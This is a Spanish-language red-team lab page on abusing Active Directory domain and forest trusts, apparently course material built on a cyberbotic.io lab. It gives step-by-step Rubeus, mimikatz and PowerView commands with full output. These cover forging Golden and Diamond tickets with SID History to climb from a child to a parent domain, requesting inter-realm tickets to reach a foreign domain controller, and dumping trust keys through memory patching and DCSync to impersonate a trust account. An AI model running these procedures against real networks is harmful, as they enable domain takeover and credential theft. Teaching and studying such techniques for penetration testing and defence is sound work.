Forest & Domain Trusts
Forest & Domain Trusts
A un nivel básico, una relación de confianza permite a los usuarios en un dominio autenticarse y acceder a recursos en otro dominio. Esto funciona permitiendo que el tráfico de autenticación fluya entre ellos mediante referencias. Cuando un usuario solicita acceso a un recurso fuera de su dominio actual, su KDC devolverá un ticket de referencia que apunta al KDC del dominio de destino. El TGT del usuario se cifra utilizando una clave de confianza inter-realm (en lugar del krbtgt local), que a menudo se llama un TGT inter-realm. El dominio extranjero descifra este ticket, recupera el TGT del usuario y decide si se le debe conceder acceso al recurso o no.
Las relaciones de confianza pueden ser one-way o two-way; y transitive o non-transitive.
Una confianza one-way permite que los principales en el dominio trusted accedan a los recursos en el dominio trusting, pero no viceversa. Una confianza two-way es en realidad solo dos relaciones de confianza one-way que van en direcciones opuestas, y permite a los usuarios en cada dominio acceder a los recursos en el otro. Las direcciones de confianza pueden ser confusas, ya que la dirección de la confianza es opuesta a la dirección de acceso.
Si el Dominio A confía en el Dominio B, el Dominio A es el dominio trusting y el Dominio B es el dominio trusted. Pero esto permite a los usuarios en el Dominio B acceder al Dominio A, no de A a B. Para complicar aún más las cosas, las confianzas one-way pueden etiquetarse como Inbound o Outbound dependiendo de tu perspectiva. En el Dominio A, esto sería una confianza Outbound; y en el Dominio B, esto sería una confianza Inbound.
La transitividad define si una confianza puede encadenarse o no. Por ejemplo, si el Dominio A confía en el Dominio B, y el Dominio B confía en el Dominio C; entonces A también confía en C. Si estos dominios son propiedad de diferentes entidades, entonces hay implicaciones obvias en términos del modelo de confianza…
Parent/Child
Cuando se agrega un dominio hijo a un bosque, automáticamente crea una confianza transitive y two-way con su dominio padre. Esto se puede encontrar en el laboratorio donde dev.cyberbotic.io es un dominio hijo de cyberbotic.io.
beacon> getuid
[*] You are DEV\bfarmer
beacon> powershell Get-DomainTrust
SourceName : dev.cyberbotic.io
TargetName : cyberbotic.io
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST
TrustDirection : Bidirectional
WhenCreated : 8/15/2022 4:00:00 PM
WhenChanged : 8/15/2022 4:00:00 PM
SourceName es el dominio actual, TargetName es el dominio extranjero, TrustDirection es la dirección de la confianza (bidirectional es two-way), y TrustAttributes: WITHIN_FOREST nos permite saber que ambos dominios son parte del mismo bosque, lo que implica una relación padre/hijo.
Si tenemos privilegios de Domain Admin en el hijo, también podemos obtener privilegios de Domain Admin en el padre utilizando un TGT con un atributo especial llamado SID History. SID History fue diseñado para admitir escenarios de migración, donde un usuario sería movido de un dominio a otro. Para preservar el acceso a los recursos en el "viejo" dominio, el SID previo del usuario se agregarían al SID History de su nueva cuenta. Al crear un ticket de este tipo, el SID de un grupo privilegiado (EAs, DAs, etc.) en el dominio padre puede ser agregado, lo que otorgará acceso a todos los recursos en el padre.
Esto se puede lograr usando un Golden o Diamond Ticket.
Golden Ticket
El proceso es el mismo que crear Golden Tickets anteriormente, la única información adicional requerida es el SID de un grupo objetivo en el dominio padre.
beacon> powershell Get-DomainGroup -Identity "Domain Admins" -Domain cyberbotic.io -Properties ObjectSid
objectsid
---------
S-1-5-21-2594061375-675613155-814674916-512
beacon> powershell Get-DomainController -Domain cyberbotic.io | select Name
Name
----
dc-1.cyberbotic.io
Crear el golden ticket con Rubeus.
PS C:\Users\Attacker> C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe golden /aes256:51d7f328ade26e9f785fd7eee191265ebc87c01a4790a7f38fb52e06563d4e7e /user:Administrator /domain:dev.cyberbotic.io /sid:S-1-5-21-569305411-121244042-2357301523 /sids:S-1-5-21-2594061375-675613155-814674916-512 /nowrap
[*] Action: Build TGT
[*] Building PAC
[*] Domain : DEV.CYBERBOTIC.IO (DEV)
[*] SID : S-1-5-21-569305411-121244042-2357301523
[*] UserId : 500
[*] Groups : 520,512,513,519,518
[*] ExtraSIDs : S-1-5-21-2594061375-675613155-814674916-512
[*] ServiceKey : 51D7F328ADE26E9F785FD7EEE191265EBC87C01A4790A7F38FB52E06563D4E7E
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey : 51D7F328ADE26E9F785FD7EEE191265EBC87C01A4790A7F38FB52E06563D4E7E
[*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service : krbtgt
[*] Target : dev.cyberbotic.io
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for 'Administrator@dev.cyberbotic.io'
[*] AuthTime : 9/12/2022 10:44:21 AM
[*] StartTime : 9/12/2022 10:44:21 AM
[*] EndTime : 9/12/2022 8:44:21 PM
[*] RenewTill : 9/19/2022 10:44:21 AM
[*] base64(ticket.kirbi):
doIFmD[...]MuaW8=
Luego importarlo en una sesión de inicio de sesión y usarlo para acceder al controlador de dominio en el padre.
beacon> run klist
Current LogonId is 0:0x3a6665
Cached Tickets: (1)
#0> Client: Administrator @ DEV.CYBERBOTIC.IO
Server: krbtgt/dev.cyberbotic.io @ DEV.CYBERBOTIC.IO
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
beacon> ls \\dc-1.cyberbotic.io\c$
Size Type Last Modified Name
---- ---- ------------- ----
dir 08/15/2022 15:26:54 $Recycle.Bin
dir 08/10/2022 04:55:17 $WinREAgent
dir 08/10/2022 05:05:53 Boot
dir 08/18/2021 23:34:55 Documents and Settings
dir 08/19/2021 06:24:49 EFI
dir 05/08/2021 08:20:24 PerfLogs
dir 08/24/2022 11:11:21 Program Files
dir 08/10/2022 04:06:16 Program Files (x86)
dir 09/08/2022 17:33:33 ProgramData
dir 08/15/2022 15:07:48 Recovery
dir 08/24/2022 11:05:32 Shares
dir 08/31/2022 16:44:18 System Volume Information
dir 08/15/2022 15:09:04 Users
dir 08/24/2022 11:10:45 Windows
427kb fil 08/10/2022 05:00:07 bootmgr
1b fil 05/08/2021 08:14:33 BOOTNXT
12kb fil 09/12/2022 08:36:09 DumpStack.log.tmp
384mb fil 09/12/2022 08:36:09 pagefile.sys
Diamond Ticket
El comando diamond de Rubeus también tiene un parámetro /sids, con el cual podemos suministrar los SIDs adicionales que queremos en nuestro ticket.
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:519 /sids:S-1-5-21-2594061375-675613155-814674916-519 /krbkey:51d7f328ade26e9f785fd7eee191265ebc87c01a4790a7f38fb52e06563d4e7e /nowrap
[*] Action: Diamond Ticket
[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/dc-2.dev.cyberbotic.io'
[+] Kerberos GSS-API initialization success!
[+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] Extracted the service ticket session key from the ticket cache: KT+juea5lxCbxNfLLWbgRorvmR+gRkaoifHatrHE0GE=
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):
doIF1j[...]5JTw==
[*] Decrypting TGT
[*] Retreiving PAC
[*] Modifying PAC
[*] Signing PAC
[*] Encrypting Modified TGT
[*] base64(ticket.kirbi):
doIGAj[...]lDLklP
Si dev.cyberbotic.io también tuviera un hijo (por ejemplo, test.dev.cyberbotic.io), entonces un DA en TEST podría usar su krbtgt para saltar a DA/EA en cyberbotic.io instantáneamente porque las confianzas son transitive.
También existen otros métodos que no requieren DA en el hijo. Por ejemplo, también puedes realizar kerberoast y ASREProast a través de las confianzas de dominio, lo que puede conducir a la divulgación de credenciales privilegiadas. Debido a que los principales en CYBER pueden obtener acceso a los recursos en DEV, podrías encontrar instancias donde estén accediendo a máquinas que hemos comprometido. Si interactúan con una máquina con delegación sin restricciones, podemos capturar sus TGTs. Si están en una máquina de forma interactiva, como RDP, podemos suplantarlos como a cualquier otro usuario.
One-Way Inbound
dev.cyberbotic.io también tiene un trust de entrada unidireccional con dev-studio.com.
beacon> powershell Get-DomainTrust
SourceName : dev.cyberbotic.io
TargetName : dev-studio.com
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes :
TrustDirection : Inbound
WhenCreated : 8/16/2022 9:52:37 AM
WhenChanged : 8/16/2022 9:52:37 AM
Debido a que el trust es entrante desde nuestra perspectiva, significa que los principals en nuestro dominio pueden recibir acceso a los recursos en el dominio extranjero. Podemos enumerar el dominio extranjero a través del trust.
beacon> powershell Get-DomainComputer -Domain dev-studio.com -Properties DnsHostName
dnshostname
-----------
dc.dev-studio.com
`Get-DomainForeignGroupMember` will enumerate any groups that contain users outside of its domain and return its members.
beacon> powershell Get-DomainForeignGroupMember -Domain dev-studio.com
GroupDomain : dev-studio.com
GroupName : Administrators
GroupDistinguishedName : CN=Administrators,CN=Builtin,DC=dev-studio,DC=com
MemberDomain : dev-studio.com
MemberName : S-1-5-21-569305411-121244042-2357301523-1120
MemberDistinguishedName : CN=S-1-5-21-569305411-121244042-2357301523-1120,CN=ForeignSecurityPrincipals,DC=dev-studio,DC=com
Este resultado muestra que hay un miembro del grupo Administrators integrado del dominio que no forma parte de dev-studio.com. El campo MemberName contiene un SID que puede ser resuelto en nuestro dominio actual.
beacon> powershell ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1120
DEV\Studio Admins
Esto significa que los miembros de DEV\Studio Admins también son miembros del grupo Administrators integrado de dev-studio.com y, por lo tanto, heredan acceso de administrador local a dc.dev-studio.com. Si esto es confuso, así es como se ve desde la perspectiva del domain controller extranjero.
Para aprovechar este trust, solo necesitamos suplantar a un miembro de este grupo de dominio Studio Admins.
beacon> powershell Get-DomainGroupMember -Identity "Studio Admins" | select MemberName
MemberName
----------
nlamb
Para aprovechar un domain trust usando Kerberos, primero necesitamos una inter-realm key. Obtenga un TGT para el usuario objetivo (aquí estoy usando asktgt con su hash AES256).
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:nlamb /domain:dev.cyberbotic.io /aes256:a779fa8afa28d66d155d9d7c14d394359c5d29a86b6417cb94269e2e84c4cee4 /nowrap
[*] Action: Ask TGT
[*] Using aes256_cts_hmac_sha1 hash: a779fa8afa28d66d155d9d7c14d394359c5d29a86b6417cb94269e2e84c4cee4
[*] Building AS-REQ (w/ preauth) for: 'dev.cyberbotic.io\nlamb'
[*] Using domain controller: 10.10.122.10:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFwj[...]MuaW8=
A continuación, use ese TGT para solicitar un referral ticket desde el dominio actual al dominio objetivo.
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgs /service:krbtgt/dev-studio.com /domain:dev.cyberbotic.io /dc:dc-2.dev.cyberbotic.io /ticket:doIFwj[...]MuaW8= /nowrap
[*] Action: Ask TGS
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'krbtgt/dev-studio.com'
[*] Using domain controller: dc-2.dev.cyberbotic.io (10.10.122.10)
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFoz[...]NPTQ==
ServiceName : krbtgt/DEV-STUDIO.COM
ServiceRealm : DEV.CYBERBOTIC.IO
UserName : nlamb
UserRealm : DEV.CYBERBOTIC.IO
StartTime : 9/12/2022 11:13:23 AM
EndTime : 9/12/2022 9:11:21 PM
RenewTill : 9/19/2022 11:11:21 AM
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : zfUbwA2B0+aqao7HSvnUgw==
Info
Note cómo este ticket inter-realm es del tipo rc4_hmac a pesar de que nuestro TGT era aes256_cts_hmac_sha1. Esta es la configuración predeterminada a menos que AES haya sido configurado específicamente en el trust, por lo que esto no es necesariamente una mala práctica de OPSEC.
Finalmente, use este ticket inter-realm para solicitar TGS en el dominio objetivo. Aquí, estoy solicitando un ticket para CIFS.
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgs /service:cifs/dc.dev-studio.com /domain:dev-studio.com /dc:dc.dev-studio.com /ticket:doIFoz[...]NPTQ== /nowrap
[*] Action: Ask TGS
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'cifs/dc.dev-studio.com'
[*] Using domain controller: dc.dev-studio.com (10.10.150.10)
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFkD[...]8uY29t
ServiceName : cifs/dc.dev-studio.com
ServiceRealm : DEV-STUDIO.COM
UserName : nlamb
UserRealm : DEV.CYBERBOTIC.IO
StartTime : 9/12/2022 11:16:46 AM
EndTime : 9/12/2022 9:11:21 PM
RenewTill : 9/19/2022 11:11:21 AM
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : V1vCRoRX/9SAFe/ynWQIE9E9DYztP0mk6bg9BRx9Wjk=
beacon> run klist
Current LogonId is 0:0x45bcb0
Cached Tickets: (1)
#0> Client: nlamb @ DEV.CYBERBOTIC.IO
Server: cifs/dc.dev-studio.com @ DEV-STUDIO.COM
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
beacon> ls \\dc.dev-studio.com\c$
Size Type Last Modified Name
---- ---- ------------- ----
dir 08/16/2022 09:15:48 $Recycle.Bin
dir 08/10/2022 04:55:17 $WinREAgent
dir 08/10/2022 05:05:53 Boot
dir 08/18/2021 23:34:55 Documents and Settings
dir 08/19/2021 06:24:49 EFI
dir 05/08/2021 08:20:24 PerfLogs
dir 08/19/2021 06:35:15 Program Files
dir 08/10/2022 04:06:16 Program Files (x86)
dir 08/16/2022 09:26:24 ProgramData
dir 08/16/2022 08:54:23 Recovery
dir 08/16/2022 09:26:41 System Volume Information
dir 08/16/2022 08:55:34 Users
dir 08/16/2022 09:23:25 Windows
427kb fil 08/10/2022 05:00:07 bootmgr
1b fil 05/08/2021 08:14:33 BOOTNXT
12kb fil 09/12/2022 08:36:05 DumpStack.log.tmp
384mb fil 09/12/2022 08:36:05 pagefile.sys
One-Way Outbound
Recuerde que si el Dominio A confía en el Dominio B, los usuarios en el Dominio B pueden acceder a los recursos en el Dominio A; pero los usuarios en el Dominio A no deberían poder acceder a los recursos en el Dominio B. Si estamos en el Dominio A, entonces está diseñado para que no podamos acceder al Dominio B. Existe un trust saliente entre cyberbotic.io y msp.org. La dirección del trust es tal que cyberbotic.io confía en msp.org (por lo que los usuarios de msp.org pueden acceder a los recursos en cyberbotic.io).
Info
Debido a que DEV tiene un trust con CYBER, podemos consultar los trusts que tiene agregando el parámetro -Domain.
beacon> getuid
[*] You are DEV\bfarmer
beacon> powershell Get-DomainTrust -Domain cyberbotic.io
SourceName : cyberbotic.io
TargetName : msp.org
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FILTER_SIDS
TrustDirection : Outbound
WhenCreated : 8/16/2022 9:49:17 AM
WhenChanged : 8/16/2022 9:49:17 AM
Todavía podemos explotar parcialmente este trust y obtener acceso de "domain user" desde CYBER a MSP aprovechando la credencial compartida para el trust. Ambos dominios en una relación de trust almacenan una contraseña compartida (que se cambia automáticamente cada 30 días) en un Trusted Domain Object (TDO). Estos objetos se almacenan en el system container y pueden ser leídos a través de LDAP. Aquí vemos que el DC en CYBER tiene dos TDOs para sus trusts con DEV y MSP.
beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(objectCategory=trustedDomain)" --domain cyberbotic.io --attributes distinguishedName,name,flatName,trustDirection
[*] TOTAL NUMBER OF SEARCH RESULTS: 2
[+] distinguishedName : CN=dev.cyberbotic.io,CN=System,DC=cyberbotic,DC=io
[+] name : dev.cyberbotic.io
[+] flatName : DEV
[+] trustDirection : 3
[+] distinguishedName : CN=msp.org,CN=System,DC=cyberbotic,DC=io
[+] name : msp.org
[+] flatName : MSP
[+] trustDirection : 2
Hay dos opciones para obtener el material de la clave. Una es moverse lateralmente al propio DC y extraerla desde la memoria.
beacon> run hostname
dc-1
beacon> getuid
[*] You are NT AUTHORITY\SYSTEM (admin)
beacon> mimikatz lsadump::trust /patch
Domain: MSP.ORG (MSP / S-1-5-21-616357355-3455548143-339820157)
[ In ] CYBERBOTIC.IO -> MSP.ORG
[ Out ] MSP.ORG -> CYBERBOTIC.IO
* 8/16/2022 9:49:17 AM - CLEAR - 93 8e aa 1f 5f 6e 2a cc 51 7d d4 a8 07 f2 f0 2c a3 e0 20 3b 24 32 68 58 0d f8 ad cc
* aes256_hmac 5db44be4317433d5ab1d3dea5925126d295d3e21c9682bca7fef76bc5a878f30
* aes128_hmac 9851d2d80411e6d40122005d1c361579
* rc4_hmac_nt f3fc2312d9d1f80b78e67d55d41ad496
[ In-1] CYBERBOTIC.IO -> MSP.ORG
[Out-1] MSP.ORG -> CYBERBOTIC.IO
* 8/16/2022 9:49:17 AM - CLEAR - 93 8e aa 1f 5f 6e 2a cc 51 7d d4 a8 07 f2 f0 2c a3 e0 20 3b 24 32 68 58 0d f8 ad cc
* aes256_hmac 5db44be4317433d5ab1d3dea5925126d295d3e21c9682bca7fef76bc5a878f30
* aes128_hmac 9851d2d80411e6d40122005d1c361579
* rc4_hmac_nt f3fc2312d9d1f80b78e67d55d41ad496
Esto realiza un parcheo de memoria, lo cual es muy riesgoso, particularmente en un domain controller.
La segunda opción es usar DCSync con el GUID del TDO.
beacon> powershell Get-DomainObject -Identity "CN=msp.org,CN=System,DC=cyberbotic,DC=io" | select objectGuid
objectguid
----------
b93d2e36-48df-46bf-89d5-2fc22c139b43
beacon> mimikatz @lsadump::dcsync /domain:cyberbotic.io /guid:{b93d2e36-48df-46bf-89d5-2fc22c139b43}
[DC] 'cyberbotic.io' will be the domain
[DC] 'dc-1.cyberbotic.io' will be the DC server
[DC] Object with GUID '{b93d2e36-48df-46bf-89d5-2fc22c139b43}'
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
Object RDN : msp.org
** TRUSTED DOMAIN - Antisocial **
Partner : msp.org
[ Out ] MSP.ORG -> CYBERBOTIC.IO
* 8/16/2022 9:49:17 AM - CLEAR - 93 8e aa 1f 5f 6e 2a cc 51 7d d4 a8 07 f2 f0 2c a3 e0 20 3b 24 32 68 58 0d f8 ad cc
* aes256_hmac 5db44be4317433d5ab1d3dea5925126d295d3e21c9682bca7fef76bc5a878f30
* aes128_hmac 9851d2d80411e6d40122005d1c361579
* rc4_hmac_nt f3fc2312d9d1f80b78e67d55d41ad496
[Out-1] MSP.ORG -> CYBERBOTIC.IO
* 8/16/2022 9:49:17 AM - CLEAR - 93 8e aa 1f 5f 6e 2a cc 51 7d d4 a8 07 f2 f0 2c a3 e0 20 3b 24 32 68 58 0d f8 ad cc
* aes256_hmac 5db44be4317433d5ab1d3dea5925126d295d3e21c9682bca7fef76bc5a878f30
* aes128_hmac 9851d2d80411e6d40122005d1c361579
* rc4_hmac_nt f3fc2312d9d1f80b78e67d55d41ad496
[Out] y [Out-1] son las contraseñas "nuevas" y "antiguas" respectivamente (son las mismas aquí porque no han pasado 30 días desde la creación del trust). En la mayoría de los casos, la clave actual [Out] es la que se desea. Además, también hay una "trust account" que se crea en el dominio "confiado", con el nombre del dominio "confiante". Por ejemplo, si obtenemos todas las cuentas de usuario en el dominio DEV, veremos CYBER$ y STUDIO$, que son las trust accounts para esos trusts de dominio respectivos.
beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(objectCategory=user)"
[*] TOTAL NUMBER OF SEARCH RESULTS: 11
[...]
[+] cn : CYBER$
[+] cn : STUDIO$
Esto significa que el dominio MSP tendrá una trust account llamada CYBER$, aunque no podamos enumerarla a través del trust para confirmarlo. Esta es la cuenta que debemos suplantar para solicitar tickets Kerberos a través del trust.
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:CYBER$ /domain:msp.org /rc4:f3fc2312d9d1f80b78e67d55d41ad496 /nowrap
[*] Action: Ask TGT
[*] Using rc4_hmac hash: f3fc2312d9d1f80b78e67d55d41ad496
[*] Building AS-REQ (w/ preauth) for: 'msp.org\CYBER$'
[*] Using domain controller: 10.10.151.10:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFGD[...]Aub3Jn
ServiceName : krbtgt/msp.org
ServiceRealm : MSP.ORG
UserName : CYBER$
UserRealm : MSP.ORG
StartTime : 9/12/2022 2:03:12 PM
EndTime : 9/13/2022 12:03:12 AM
RenewTill : 9/19/2022 2:03:12 PM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : Uf2X2f65qJYeHow3kfHG2w==
ASREP (key) : F3FC2312D9D1F80B78E67D55D41AD496
Info
Recuerde que los tickets RC4 se utilizan por defecto a través de los trusts.
Este TGT ahora se puede usar para interactuar con el dominio.
beacon> run klist
Current LogonId is 0:0x537833
Cached Tickets: (1)
#0> Client: CYBER$ @ MSP.ORG
Server: krbtgt/msp.org @ MSP.ORG
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
beacon> powershell Get-Domain -Domain msp.org
Forest : msp.org
DomainControllers : {ad.msp.org}
Children : {}
DomainMode : Unknown
DomainModeLevel : 7
Parent :
PdcRoleOwner : ad.msp.org
RidRoleOwner : ad.msp.org
InfrastructureRoleOwner : ad.msp.org
Name : msp.org
Esta cuenta obviamente no es un domain admin, pero ahora se pueden realizar múltiples prácticas abusivas a través del trust para elevar privilegios, incluyendo kerberoasting, ASREPRoasting, RBCD y templates de certificados vulnerables.
Info
Como desafío, intente encontrar una manera de obtener DA en este bosque.